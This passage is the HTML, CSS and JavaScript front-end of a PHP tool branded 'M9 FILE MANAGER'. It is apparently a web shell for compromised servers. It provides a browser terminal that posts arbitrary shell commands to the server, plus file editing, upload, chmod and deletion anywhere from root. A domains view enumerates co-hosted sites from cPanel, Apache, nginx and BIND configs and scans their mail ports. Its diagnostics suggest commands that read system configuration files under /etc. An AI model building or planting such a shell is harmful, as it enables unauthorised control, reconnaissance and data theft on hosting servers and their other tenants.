.cmd-output .cmd-line-out{color:#a8d8a8}
.cmd-output .cmd-line-err{color:#ff6b6b}
.cmd-output .cmd-empty{color:#2d5c2d;font-style:italic}
.cmd-input-row{display:flex;gap:8px;align-items:center}
.cmd-prompt{color:#39ff14;font-family:'Courier New',monospace;font-size:13px;white-space:nowrap;text-shadow:0 0 6px rgba(57,255,20,.4)}
.cmd-input{flex:1;background:#000;border:1px solid #1a3a1a;border-radius:4px;color:#39ff14;padding:7px 10px;font-family:'Courier New',monospace;font-size:13px;outline:none;transition:border .2s;caret-color:#39ff14}
.cmd-input:focus{border-color:#39ff14;box-shadow:0 0 8px rgba(57,255,20,.15)}
.btn-cmd{border-color:#39ff14;color:#39ff14;background:#0a1f0a;font-size:11px;padding:7px 14px}
.btn-cmd:hover{background:#0f2f0f;box-shadow:0 0 10px rgba(57,255,20,.2)}
.btn-tab-active{background:#0f2f0f;border-color:#39ff14;color:#39ff14;box-shadow:0 0 8px rgba(57,255,20,.2)}
textarea:focus{border-color:#39ff14;box-shadow:0 0 10px rgba(57,255,20,.1)}
.editor-actions{margin-top:12px;display:flex;gap:8px}
.file-table{width:100%;border-collapse:collapse}
.file-table th{background:#020902;padding:10px 16px;text-align:left;border-bottom:2px solid #1a3a1a;color:#2d5c2d;font-size:10px;text-transform:uppercase;letter-spacing:1px;font-weight:600}
.file-table td{padding:9px 16px;border-bottom:1px solid #0a1a0a;vertical-align:middle}
.file-table tr:hover td{background:#030f03}
.file-table tr:last-child td{border-bottom:none}
.folder-link,.file-link{text-decoration:none;display:flex;align-items:center;gap:8px;font-size:13px;font-family:'Courier New',monospace}
.folder-link{color:#39ff14;font-weight:700;text-shadow:0 0 4px rgba(57,255,20,.3)}
.folder-link:hover{color:#fff;text-shadow:none}
.file-link{color:#5a9a5a}
.file-link:hover{color:#c8f7c8}
.icon{font-size:14px;flex-shrink:0}
.td-size{color:#2d5c2d;font-size:12px;font-family:'Courier New',monospace}
.perm-badge{font-family:'Courier New',monospace;font-size:11px;color:#f59e0b;background:#1a1400;border:1px solid #2a2000;padding:3px 8px;border-radius:3px}
.td-date{color:#2d5c2d;font-size:12px;white-space:nowrap;font-family:'Courier New',monospace}
.acts{display:flex;gap:4px;flex-wrap:wrap}
.act{padding:4px 10px;background:#0a1f0a;color:#2d5c2d;border:1px solid #1a3a1a;font-size:11px;cursor:pointer;text-decoration:none;border-radius:3px;transition:all .2s;white-space:nowrap;font-family:'Courier New',monospace}
.act:hover{background:#1a3a1a;color:#39ff14;border-color:#39ff14;box-shadow:0 0 6px rgba(57,255,20,.15)}
.act-red{border-color:#5a1a1a;color:#ff6b6b}
.act-red:hover{background:#2a0808;border-color:#ff4444;color:#fff}
.act-unzip{border-color:#1a5c1a;color:#4ade80}
.act-unzip:hover{background:#0a2a0a;border-color:#39ff14;color:#39ff14}
.empty-row td{text-align:center;padding:50px;color:#1a3a1a;font-size:13px;font-family:'Courier New',monospace}
.ext-php{color:#c084fc}.ext-html{color:#fb923c}.ext-js{color:#fbbf24}.ext-css{color:#67e8f9}.ext-sql{color:#f472b6}
.ext-txt,.ext-md{color:#86efac}.ext-json,.ext-xml{color:#6ee7b7}.ext-img{color:#f9a8d4}.ext-archive{color:#d8b4fe}
input[type=text],input[type=search]{background:#000;color:#c8f7c8;border:1px solid #1a3a1a;padding:8px 12px;border-radius:4px;outline:none;font-size:13px;width:260px;font-family:'Courier New',monospace}
input[type=text]:focus,input[type=search]:focus{border-color:#39ff14;box-shadow:0 0 6px rgba(57,255,20,.15)}
/* ── SEARCH BAR ──────────────────────────────────────────────── */
.search-form{display:flex;gap:6px;align-items:center;margin-left:auto;flex-wrap:wrap}
.search-form select{background:#000;color:#39ff14;border:1px solid #1a3a1a;border-radius:4px;padding:7px 8px;font-size:12px;font-family:'Courier New',monospace;outline:none;cursor:pointer}
.search-form select:focus{border-color:#39ff14;box-shadow:0 0 6px rgba(57,255,20,.15)}
.search-form input[type=search]{width:220px}
.search-form label.chk{font-size:11px;color:#5a9a5a;display:flex;align-items:center;gap:4px;cursor:pointer;font-family:'Courier New',monospace;letter-spacing:.3px}
.search-form input[type=checkbox]{accent-color:#39ff14}
.search-meta{padding:8px 18px;background:#020902;border-bottom:1px solid #0f230f;font-size:11px;color:#5a9a5a;font-family:'Courier New',monospace;display:flex;justify-content:space-between;align-items:center;gap:10px;flex-wrap:wrap}
.search-meta b{color:#39ff14}
.search-meta .warn{color:#fbbf24}
.search-path-cell{display:flex;flex-direction:column;gap:2px;font-family:'Courier New',monospace}
.search-path-cell .sp-name{color:#c8f7c8;font-size:13px;display:flex;align-items:center;gap:6px}
.search-path-cell .sp-dir{color:#3a6b3a;font-size:11px;word-break:break-all}
.search-path-cell .sp-tag{display:inline-block;font-size:9px;background:#0a1f0a;border:1px solid #1a3a1a;color:#fbbf24;padding:1px 6px;border-radius:3px;letter-spacing:.5px;margin-left:6px;text-transform:uppercase}
mark.kw{background:#39ff14;color:#000;padding:0 2px;border-radius:2px}
@media(max-width:768px){
  .toolbar{flex-direction:column}
  .btn,.act{width:100%;justify-content:center;text-align:center}
  input[type=text],input[type=search]{width:100%}
  .search-form{width:100%;margin-left:0}
  .search-form input[type=search]{flex:1;width:auto}
  .file-table th:nth-child(3),.file-table td:nth-child(3),
  .file-table th:nth-child(4),.file-table td:nth-child(4){display:none}
}
</style>
</head>
<body>
<div class="wrap">

  <!-- HEADER -->
  <div class="hdr">
    <div class="hdr-title">
      <img src="https://imagedelivery.net/41eGBrMIml4goV0L9eI4Ww/01464b5b-2bc8-49f5-99f7-9f37f3f90f00/public" alt="M9" class="hdr-logo">
      <h1>M9</h1>
      <span class="tag">FILE MANAGER</span>
    </div>
    <div class="sys-info">
      <?php foreach ($sysInfo as $k => $v): ?>
        <span><?=$k?>: <b><?=htmlspecialchars($v)?></b></span>
      <?php endforeach; ?>
    </div>
    <a href="?fm_logout=1" class="hdr-logout">&#x2715; Logout</a>
  </div>

  <!-- MESSAGE -->
  <?php if ($message): ?>
    <div class="msg-bar"><?=$message?></div>
  <?php endif; ?>

  <!-- PATH NAV -->
  <div class="path-nav">
    <a href="?p=/">&#8962; Root</a>
    <?php
    $parts = explode('/', trim($currentPath, '/'));
    $cur = '';
    foreach ($parts as $part):
        if ($part):
            $cur .= '/' . $part;
    ?>
      <span class="path-sep">/</span>
      <a href="?p=<?=$cur?>/"><?=htmlspecialchars($part)?></a>
    <?php
        endif;
    endforeach;
    ?>
  </div>

  <!-- TOOLBAR -->
  <div class="toolbar">
    <form method="post" enctype="multipart/form-data" style="display:inline">
      <input type="file" name="upload" id="fm-upload" style="display:none" onchange="this.form.submit()">
      <button type="button" class="btn btn-primary" onclick="document.getElementById('fm-upload').click()">&#8679; Upload</button>
    </form>
    <button class="btn btn-primary" onclick="newFile()">&#43; New File</button>
    <button class="btn" onclick="newFolder()">&#43; New Folder</button>
    <?php $isCmd = isset($_GET['tab']) && $_GET['tab'] === 'cmd'; ?>
    <a href="?p=<?=urlencode($currentPath)?>&tab=cmd"
       class="btn btn-cmd <?= $isCmd ? 'btn-tab-active' : '' ?>">&#9654; CMD</a>
    <a href="?p=<?=urlencode($currentPath)?>"
       class="btn <?= !$isCmd && !$isSearch && !$isDomains ? 'btn-tab-active' : '' ?>">&#128193; Files</a>
    <a href="?p=<?=urlencode($currentPath)?>&view=domains"
       class="btn <?= $isDomains ? 'btn-tab-active' : '' ?>">&#128279; Domains</a>
    <?php if (isset($_GET['edit'])): ?>
      <a href="?p=<?=urlencode($currentPath)?>" class="btn btn-danger">&#8592; Close Editor</a>
    <?php endif; ?>

    <!-- ── SEARCH ─────────────────────────────────────────────── -->
    <form method="get" class="search-form" role="search">
      <input type="hidden" name="p" value="<?=htmlspecialchars($currentPath)?>">
      <input type="search" name="q" value="<?=htmlspecialchars($searchQuery)?>" placeholder="&#128270; keyword..." autocomplete="off">
      <select name="scope" title="Search scope">
        <option value="host" <?= $searchScope==='host'?'selected':'' ?>>Whole Host (/)</option>
        <option value="here" <?= $searchScope==='here'?'selected':'' ?>>Here</option>
      </select>
      <label class="chk" title="Also search inside text-like files (slower)">
        <input type="checkbox" name="inside" value="1" <?= $searchContent?'checked':'' ?>>
        inside
      </label>
      <button class="btn btn-cmd" type="submit">Search</button>
      <?php if ($isSearch): ?>
        <a href="?p=<?=urlencode($currentPath)?>" class="btn btn-danger" title="Clear search">&#x2715;</a>
      <?php endif; ?>
    </form>
  </div>

  <!-- CMD TERMINAL -->
  <?php if ($isCmd): ?>
  <div class="cmd-wrap" id="cmd-panel">
    <div class="cmd-title">
      &#9654; Terminal
      <span class="cmd-cwd" id="cmd-cwd"><?=htmlspecialchars(@getcwd() ?: '.')?></span>
      <button onclick="cmdClear()" class="btn btn-danger" style="font-size:11px;padding:5px 10px">Clear</button>
    </div>
    <div class="cmd-output" id="cmd-out"><span class="cmd-empty">// type a command and press Enter or Run</span></div>
    <div class="cmd-input-row">
      <span class="cmd-prompt">$&nbsp;</span>
      <input type="text" id="cmd-in" class="cmd-input" placeholder="id; uname -a; ls -la" autocomplete="off" autocorrect="off" spellcheck="false">
      <button class="btn btn-cmd" onclick="cmdRun()">Run</button>
    </div>
  </div>
  <?php endif; ?>

  <!-- EDITOR -->
  <?php if (isset($_GET['edit'])): ?>
    <div class="editor-wrap">
      <div class="editor-title">
        &#9998; Editing: <span><?=htmlspecialchars($_GET['edit'])?></span>
      </div>
      <form method="post">
        <input type="hidden" name="save" value="<?=htmlspecialchars($_GET['edit'])?>">
        <textarea name="data" spellcheck="false"><?=htmlspecialchars(readFileContent($currentPath . $_GET['edit']))?></textarea>
        <div class="editor-actions">
          <button class="btn btn-primary">&#10003; Save</button>
          <a href="?p=<?=urlencode($currentPath)?>" class="btn btn-danger">Cancel</a>
        </div>
      </form>
    </div>

  <?php elseif ($isSearch): ?>

  <!-- ── SEARCH RESULTS ──────────────────────────────────────── -->
  <div class="search-meta">
    <div>
      &#128269; <b><?= count($searchResults['results']) ?></b> match<?= count($searchResults['results'])===1?'':'es' ?>
      for "<b><?=htmlspecialchars($searchQuery)?></b>"
      in <b><?= $searchScope==='host' ? '/ (whole host)' : htmlspecialchars($currentPath) ?></b>
      <?php if ($searchContent): ?>&middot; <b>content scan</b><?php endif; ?>
      &middot; scanned <?= number_format($searchResults['scanned']) ?> entries in <?= $searchResults['elapsed'] ?>s
    </div>
    <?php if ($searchResults['truncated']): ?>
      <div class="warn">&#9888; result limit reached &mdash; refine your keyword for more</div>
    <?php endif; ?>
  </div>
  <table class="file-table">
    <thead>
      <tr>
        <th style="width:55%">Match</th>
        <th style="width:8%">Size</th>
        <th style="width:8%">Perms</th>
        <th style="width:13%">Modified</th>
        <th>Actions</th>
      </tr>
    </thead>
    <tbody>
      <?php if (empty($searchResults['results'])): ?>
        <tr class="empty-row"><td colspan="5">No matches found.</td></tr>
      <?php else: foreach ($searchResults['results'] as $r):
        $perm   = substr(sprintf('%o', $r['perm'] ?: 0), -3);
        $mtime  = $r['mtime'] ? date('Y-m-d H:i', $r['mtime']) : '-';
        $dirEnc = urlencode($r['dir']);
        $nameEnc= urlencode($r['name']);
        $highlighted = preg_replace(
            '/(' . preg_quote($searchQuery, '/') . ')/i',
            '<mark class="kw">$1</mark>',
            htmlspecialchars($r['name'])
        );
      ?>
      <tr>
        <td>
          <div class="search-path-cell">
            <span class="sp-name">
              <span class="icon"><?= $r['is_dir'] ? '&#128193;' : '&#128196;' ?></span>
              <?php if ($r['is_dir']): ?>
                <a href="?p=<?=urlencode($r['path'])?>/" class="folder-link" style="display:inline"><?= $highlighted ?></a>
              <?php else: ?>
                <a href="?p=<?=$dirEnc?>&action=download&item=<?=$nameEnc?>" class="file-link" style="display:inline"><?= $highlighted ?></a>
              <?php endif; ?>
              <?php if ($r['match'] === 'content'): ?><span class="sp-tag">content</span><?php endif; ?>
            </span>
            <span class="sp-dir"><?=htmlspecialchars($r['dir'])?></span>
          </div>
        </td>
        <td class="td-size"><?= $r['is_dir'] ? '&mdash;' : ($r['size']!==null ? fmSize($r['size']) : '&mdash;') ?></td>
        <td><span class="perm-badge"><?=$perm?></span></td>
        <td class="td-date"><?=$mtime?></td>
        <td>
          <div class="acts">
            <a href="?p=<?=$dirEnc?>" class="act">Open Folder</a>
            <?php if (!$r['is_dir']): ?>
              <a href="?p=<?=$dirEnc?>&edit=<?=$nameEnc?>" class="act">Edit</a>
              <a href="?p=<?=$dirEnc?>&action=download&item=<?=$nameEnc?>" class="act">Download</a>
            <?php endif; ?>
            <a href="?p=<?=$dirEnc?>&action=delete&item=<?=$nameEnc?>"
               onclick="return confirm('Delete: <?=htmlspecialchars(addslashes($r['name']))?>?')"
               class="act act-red">Delete</a>
          </div>
        </td>
      </tr>
      <?php endforeach; endif; ?>
    </tbody>
  </table>

  <?php elseif ($isDomains): ?>

  <!-- ── DOMAINS VIEW ────────────────────────────────────────── -->
  <div class="search-meta">
    <div>
      &#128279; <b><?= count($domainList) ?></b> domain<?= count($domainList)===1?'':'s' ?> discovered
      &middot; <b><?= $domainDiag['readable'] ?></b>/<?= $domainDiag['checked'] ?> sources readable
      &middot; <?= $domainElapsed ?>s
      <?php if ($scanPorts): ?>&middot; <b style="color:#fbbf24">mail-port scan on</b><?php endif; ?>
    </div>
    <div style="display:flex;gap:8px;align-items:center">
      <?php if (!empty($domainList)): ?>
        <?php if ($scanPorts): ?>
          <a href="?p=<?=urlencode($currentPath)?>&view=domains" class="btn btn-danger" style="font-size:11px;padding:5px 10px">&#x2715; Stop port scan</a>
        <?php else: ?>
          <a href="?p=<?=urlencode($currentPath)?>&view=domains&ports=1" class="btn btn-cmd" style="font-size:11px;padding:5px 10px"
             onclick="return confirm('Scan SMTP/IMAP/POP3 ports on '+<?=count($domainList)?>+' domains?\nMax 60s budget.')">&#128274; Scan mail ports</a>
        <?php endif; ?>
      <?php endif; ?>
      <?php if (empty($domainList)): ?>
        <div class="warn">&#9888; no domains found &mdash; see diagnostics below</div>
      <?php endif; ?>
    </div>
  </div>
  <?php if (empty($domainList)): ?>
  <div style="padding:14px 18px;background:#020902;border-bottom:1px solid #0f230f;font-family:'Courier New',monospace;font-size:11px;color:#5a9a5a">
    <div style="color:#39ff14;font-weight:700;margin-bottom:8px;letter-spacing:1px">// DIAGNOSTICS</div>
    <div style="margin-bottom:6px"><b style="color:#fbbf24">Why nothing showed up:</b> this host has no readable cPanel / Apache / nginx / BIND config in the standard locations, and shell fallbacks (<code>apachectl -S</code>, <code>nginx -T</code>, <code>hostname</code>) returned nothing usable. Common causes:</div>
    <ul style="margin:6px 0 10px 22px;color:#7db87d;line-height:1.6">
      <li>Not a hosting-panel server (plain VPS / container / dev box) &mdash; nothing to enumerate.</li>
      <li>PHP runs as a low-priv user and can't read root-owned config files. Current user: <b style="color:#39ff14"><?=htmlspecialchars(@get_current_user())?></b>.</li>
      <li><code>open_basedir</code> or <code>disable_functions</code> blocks the reads / shell exec.</li>
    </ul>
    <div style="margin-bottom:4px;color:#fbbf24"><b>Try in the CMD tab:</b></div>
    <pre style="background:#000;border:1px solid #1a3a1a;padding:8px 10px;border-radius:4px;color:#86efac;overflow:auto">id
ls -la /etc/userdatadomains /etc/named.conf /etc/nginx/sites-enabled/ /etc/httpd/conf.d/ 2>&amp;1
apachectl -S 2>&amp;1 ; nginx -T 2>&amp;1 | head -50
hostname -A ; cat /etc/hosts</pre>
    <?php if (!empty($domainDiag['denied'])): ?>
      <div style="margin-top:10px;color:#ff6b6b"><b>Permission denied (<?=count($domainDiag['denied'])?>):</b></div>
      <div style="color:#a8d8a8;max-height:80px;overflow:auto;font-size:10px"><?=htmlspecialchars(implode('  ·  ', array_slice($domainDiag['denied'], 0, 30)))?><?= count($domainDiag['denied'])>30?' …':'' ?></div>
    <?php endif; ?>
    <?php if (!empty($domainDiag['missing'])): ?>
      <div style="margin-top:10px;color:#3a6b3a"><b>Missing (<?=count($domainDiag['missing'])?>):</b></div>
      <div style="color:#2d5c2d;max-height:60px;overflow:auto;font-size:10px"><?=htmlspecialchars(implode('  ·  ', array_slice($domainDiag['missing'], 0, 20)))?><?= count($domainDiag['missing'])>20?' …':'' ?></div>
    <?php endif; ?>
  </div>
  <?php endif; ?>
  <table class="file-table">
    <thead>
      <tr>
        <th style="width:24%">Domain</th>
        <th style="width:9%">User</th>
        <th style="width:24%">Document Root</th>
        <th style="width:9%">IP</th>
        <?php if ($scanPorts): ?><th style="width:18%">Mail Ports</th><?php endif; ?>
        <th>Source</th>
      </tr>
    </thead>
    <tbody>
      <?php if (empty($domainList)): ?>
        <tr class="empty-row"><td colspan="<?= $scanPorts ? 6 : 5 ?>">No domains found in known config locations.</td></tr>
      <?php else: foreach ($domainList as $d): ?>
      <tr>
        <td>
          <a href="http://<?=htmlspecialchars($d['domain'])?>" target="_blank" rel="noopener" class="folder-link" style="display:inline-flex">
            <span class="icon">&#128279;</span><?=htmlspecialchars($d['domain'])?>
          </a>
        </td>
        <td class="td-size"><?= $d['user'] !== '' ? htmlspecialchars($d['user']) : '&mdash;' ?></td>
        <td class="td-size">
          <?php if ($d['docroot'] !== '' && @is_dir($d['docroot'])): ?>
            <a href="?p=<?=urlencode(rtrim($d['docroot'],'/').'/')?>" class="file-link" style="display:inline"><?=htmlspecialchars($d['docroot'])?></a>
          <?php else: ?>
            <?= $d['docroot'] !== '' ? htmlspecialchars($d['docroot']) : '&mdash;' ?>
          <?php endif; ?>
        </td>
        <td class="td-size"><?= $d['ip'] !== '' ? htmlspecialchars($d['ip']) : '&mdash;' ?></td>
        <?php if ($scanPorts): ?>
        <td>
          <?php
            $ports = isset($d['ports']) ? $d['ports'] : [];
            if ($ports === null) {
                echo '<span class="perm-badge" style="color:#3a6b3a;background:#0a1a0a;border-color:#1a3a1a">skipped (timeout)</span>';
            } elseif (empty($ports)) {
                echo '<span class="perm-badge" style="color:#5a1a1a;background:#1a0000;border-color:#2a0808">all closed</span>';
            } else {
                echo '<div class="acts">';
                foreach ($ports as $p => $name) {
                    echo '<span class="perm-badge" style="color:#39ff14;background:#02180a;border-color:#1a3a1a" title="'.htmlspecialchars($name).'">'.$p.'</span>';
                }
                echo '</div>';
            }
          ?>
        </td>
        <?php endif; ?>
        <td>
          <div class="acts">
            <?php foreach ($d['sources'] as $src): ?>
              <span class="perm-badge" style="color:#86efac;background:#02180a;border-color:#1a3a1a"><?=htmlspecialchars($src)?></span>
            <?php endforeach; ?>
          </div>
        </td>
      </tr>
      <?php endforeach; endif; ?>
    </tbody>
  </table>

  <?php else: ?>

  <!-- FILE TABLE -->
  <table class="file-table">
    <thead>
      <tr>
        <th style="width:40%">Name</th>
        <th style="width:8%">Size</th>
        <th style="width:10%">Perms</th>
        <th style="width:13%">Modified</th>
        <th>Actions</th>
      </tr>
    </thead>
    <tbody>

      <?php if ($currentPath !== '/'): ?>
      <tr>
        <td colspan="5">
          <a href="?p=<?=urlencode(dirname(rtrim($currentPath,'/')))?>/" class="folder-link">
            <span class="icon">&#8593;</span> Parent Directory
          </a>
        </td>
      </tr>
      <?php endif; ?>

      <?php foreach ($folders as $folder):
        $fp   = $currentPath . $folder;
        $perm = substr(sprintf('%o', @fileperms($fp)), -3);
        $mtime = @filemtime($fp) ? date('Y-m-d H:i', @filemtime($fp)) : '-';
      ?>
      <tr>
        <td>
          <a href="?p=<?=urlencode($fp)?>" class="folder-link">
            <span class="icon">&#128193;</span><?=htmlspecialchars($folder)?>
          </a>
        </td>
        <td class="td-size">&mdash;</td>
        <td><span class="perm-badge"><?=$perm?></span></td>
        <td class="td-date"><?=$mtime?></td>
        <td>
          <div class="acts">
            <button onclick="renameItem('<?=htmlspecialchars(addslashes($folder))?>')" class="act">Rename</button>
            <button onclick="chmodItem('<?=htmlspecialchars(addslashes($folder))?>','<?=$perm?>')" class="act">Chmod</button>
            <a href="?p=<?=urlencode($currentPath)?>&action=delete&item=<?=urlencode($folder)?>"
               onclick="return confirm('Delete folder and ALL its contents: <?=htmlspecialchars(addslashes($folder))?>?')"
               class="act act-red">Delete</a>
          </div>
        </td>
      </tr>
      <?php endforeach; ?>

      <?php foreach ($files as $file):
        $fp       = $currentPath . $file;
        $size     = @filesize($fp);
        $perm     = substr(sprintf('%o', @fileperms($fp)), -3);
        $mtime    = @filemtime($fp) ? date('Y-m-d H:i', @filemtime($fp)) : '-';
        $ext      = strtolower(pathinfo($file, PATHINFO_EXTENSION));
        $editable = in_array($ext, ['php','html','htm','js','css','txt','json','xml','sql','md','env','sh','py','rb','ini','conf','htaccess','yaml','yml']);
        if ($ext === 'php')                                                    $extClass = 'ext-php';
        elseif (in_array($ext, ['html','htm']))                               $extClass = 'ext-html';
        elseif ($ext === 'js')                                                $extClass = 'ext-js';
        elseif ($ext === 'css')                                               $extClass = 'ext-css';
        elseif ($ext === 'sql')                                               $extClass = 'ext-sql';
        elseif (in_array($ext, ['txt','md']))                                 $extClass = 'ext-txt';
        elseif (in_array($ext, ['json','xml','yaml','yml']))                  $extClass = 'ext-json';
        elseif (in_array($ext, ['jpg','jpeg','png','gif','webp','svg','ico'])) $extClass = 'ext-img';
        elseif (in_array($ext, ['zip','tar','gz','rar','7z']))                $extClass = 'ext-archive';
        else                                                                  $extClass = '';
      ?>
      <tr>
        <td>
          <?php if ($editable): ?>
            <a href="?p=<?=urlencode($currentPath)?>&edit=<?=urlencode($file)?>" class="file-link <?=$extClass?>">
              <span class="icon">&#128196;</span><?=htmlspecialchars($file)?>
            </a>
          <?php else: ?>
            <a href="?p=<?=urlencode($currentPath)?>&action=download&item=<?=urlencode($file)?>" class="file-link <?=$extClass?>">
              <span class="icon">&#128196;</span><?=htmlspecialchars($file)?>
            </a>
          <?php endif; ?>
        </td>
        <td class="td-size"><?=$size !== false ? fmSize($size) : '&mdash;'?></td>
        <td><span class="perm-badge"><?=$perm?></span></td>
        <td class="td-date"><?=$mtime?></td>
        <td>
          <div class="acts">
            <?php if ($editable): ?>
              <a href="?p=<?=urlencode($currentPath)?>&edit=<?=urlencode($file)?>" class="act">Edit</a>
            <?php endif; ?>
            <?php if ($ext === 'zip'): ?>
              <a href="?p=<?=urlencode($currentPath)?>&action=unzip&item=<?=urlencode($file)?>"
                 onclick="return confirm('Extract <?=htmlspecialchars(addslashes($file))?> here?')"
                 class="act act-unzip">&#128278; Unzip</a>
            <?php endif; ?>
            <a href="?p=<?=urlencode($currentPath)?>&action=download&item=<?=urlencode($file)?>" class="act">Download</a>
            <button onclick="renameItem('<?=htmlspecialchars(addslashes($file))?>')" class="act">Rename</button>
            <button onclick="chmodItem('<?=htmlspecialchars(addslashes($file))?>','<?=$perm?>')" class="act">Chmod</button>
            <a href="?p=<?=urlencode($currentPath)?>&action=delete&item=<?=urlencode($file)?>"
               onclick="return confirm('Delete: <?=htmlspecialchars(addslashes($file))?>?')"
               class="act act-red">Delete</a>
          </div>
        </td>
      </tr>
      <?php endforeach; ?>

      <?php if (empty($folders) && empty($files)): ?>
      <tr class="empty-row">
        <td colspan="5">&#128193; This directory is empty</td>
      </tr>
      <?php endif; ?>

    </tbody>
  </table>
  <?php endif; ?>
</div>

<script>
function newFile() {
    var n = prompt('File name:', 'newfile.txt');
    if (!n) return;
    var c = prompt('Initial content (optional):', '');
    var f = document.createElement('form'); f.method = 'post';
    f.innerHTML = '<input type="hidden" name="new" value="' + n + '">' +
                  '<input type="hidden" name="content" value="' + (c||'') + '">';
    document.body.appendChild(f); f.submit();
}
function newFolder() {
    var n = prompt('Folder name:', 'newfolder');
    if (!n) return;
    var f = document.createElement('form'); f.method = 'post';
    f.innerHTML = '<input type="hidden" name="new" value="' + n + '">' +
                  '<input type="hidden" name="type" value="dir">';
    document.body.appendChild(f); f.submit();
}
function renameItem(old) {
    var nw = prompt('New name:', old);
    if (!nw || nw === old) return;
    var f = document.createElement('form'); f.method = 'post';
    f.innerHTML = '<input type="hidden" name="oldname" value="' + old + '">' +
                  '<input type="hidden" name="newname" value="' + nw + '">';
    document.body.appendChild(f); f.submit();
}
function chmodItem(item, cur) {
    var p = prompt('Permissions (e.g. 755):', cur);
    if (!p) return;
    var f = document.createElement('form'); f.method = 'post';
    f.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' +
                  '<input type="hidden" name="chmod_value" value="' + p + '">';
    document.body.appendChild(f); f.submit();
}

/* ── CMD TERMINAL ─────────────────────────────────────────────────────── */
var _cmdHistory = [], _cmdHistIdx = -1;
function cmdEscape(s){return s.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');}
function cmdAppend(prompt, output) {
    var box = document.getElementById('cmd-out');
    var ph = box.querySelector('.cmd-empty'); if (ph) ph.parentNode.removeChild(ph);
    var lineIn = document.createElement('div');
    lineIn.className = 'cmd-line-in'; lineIn.textContent = '$ ' + prompt;
    box.appendChild(lineIn);
    if (output !== '') {
        var lineOut = document.createElement('div');
        lineOut.className = 'cmd-line-out'; lineOut.textContent = output;
        box.appendChild(lineOut);
    }
    box.scrollTop = box.scrollHeight;
}
function cmdRun() {
    var inp = document.getElementById('cmd-in');
    var cmd = inp.value.trim(); if (!cmd) return;
    _cmdHistory.unshift(cmd); _cmdHistIdx = -1;
    inp.value = ''; inp.disabled = true;
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '?ajax_cmd=1', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
            inp.disabled = false; inp.focus();
            var out = '';
            try {
                var r = JSON.parse(xhr.responseText);
                out = r.out || '';
                if (r.cwd) { var el = document.getElementById('cmd-cwd'); if (el) el.textContent = r.cwd; }
            } catch(e) { out = xhr.responseText; }
            cmdAppend(cmd, out.replace(/\n$/, ''));
        }
    };
    xhr.send('c=' + encodeURIComponent(cmd));
}
function cmdClear() {
    var box = document.getElementById('cmd-out');
    box.innerHTML = '<span class="cmd-empty">// cleared</span>';
}
(function() {
    document.addEventListener('DOMContentLoaded', function() {
        var inp = document.getElementById('cmd-in'); if (!inp) return;
        inp.focus();
        inp.addEventListener('keydown', function(e) {
            if (e.key === 'Enter') { e.preventDefault(); cmdRun(); }
            else if (e.key === 'ArrowUp') {
                e.preventDefault();
                if (_cmdHistIdx < _cmdHistory.length - 1) { _cmdHistIdx++; inp.value = _cmdHistory[_cmdHistIdx]; }
            } else if (e.key === 'ArrowDown') {
                e.preventDefault();
                if (_cmdHistIdx > 0) { _cmdHistIdx--; inp.value = _cmdHistory[_cmdHistIdx]; }
                else { _cmdHistIdx = -1; inp.value = ''; }
            }
        });
    });
})();
</script>
</body>
</html>